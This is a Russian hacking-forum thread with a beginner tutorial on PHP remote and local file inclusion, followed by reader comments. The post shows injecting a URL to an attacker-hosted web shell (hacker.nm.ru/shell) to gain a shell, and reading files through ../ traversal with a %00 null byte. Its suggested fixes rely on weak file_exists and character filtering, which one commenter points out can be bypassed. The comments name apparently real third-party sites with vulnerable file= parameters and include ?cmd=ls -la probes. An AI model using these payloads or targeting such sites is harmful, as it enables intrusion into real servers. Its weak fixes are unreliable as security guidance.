Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое. Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем. Php инъекция являются, наверно, самым распространенным, после sql-inj, багом. И так , сама суть: Есть код: PHP: <? .. Include ("$page.php"); … ?> Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким: Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл. Идем дальше, есть код типа: PHP: <? .. Include ("files/$page.htm"); … ?> :. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается. Третий тип: PHP: <? .. Include ("$patch/folder/page.php"); … ?> Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней? Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/ И о чудо, мы снова видим там свой шелл : Теперь, как избежать этого. Случай первый: PHP: <? .. if (file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его { Include ("$page.php"); } Else //Есле… { Echo "Error!"; } … ?> Случай второй: PHP: <? .. $page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории. if (file_exists("files/$page.htm ")) { Include ("files/$page.htm"); } Else { Echo "error"; } … ?> Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…): PHP: <? … $patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы $patch=str_replace(":","",$patch); $patch=str_replace(".","",$patch); if (file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его { Include ("$patch/folder/page.php"); } Else { Echo "Error!"; } … ?> Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
_http://www.beta-bedrijvendagen.nl/main.php?file=../main.php _http://www.compendiuminc.com/main.php?file= к примеру
Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой. Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного. К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)
Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).
Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать
статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.
Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.
Мдя.а вообще это не картинки, а исходники пхп. Чувак, чтобы понять это тебе наверное надо посмотреть видео на античате, уже поймешь что да как. а минусы ставят выше Members of Antichat. http://video.antichat.ru/2_0.html
я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd, www.vixtim.com/index.php?page.php=ls -al или как cmd www.vixtim.com/index.php?cmd=ls -la вроде как разницы нет.
причем тут cmd? если в странице index.php присутствует скрипт <? passthru("$cmd"); ?>, то тогда только тебе листинг директории покажет ../index.php?cmd=ls -lia include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php Новый год прошел, а статья есть?
Вы меня неправильно поняли! Разве страница с расширением *.php вдруг стать переменной(и кавычки зачем?)? Наверное долно быть include ($page); ! Новички на этом могут голову сломать, как сломал её сегодня ночью, когда прочитал эту статью.
Разве это выход? если мы укажем на существующий shell проверка выполнится успешно. Вообще в таких случаях я бы рекомендовал оператор switch, надёжней не придумаешь, особенно если страниц не так много и нет необходимости их часто добавлять.
Постораюсь дать тебе ответ, коротко и чтоб ты имел маленькое представления о том что такое веб шелл. Ну это типо проводник, но по круче =))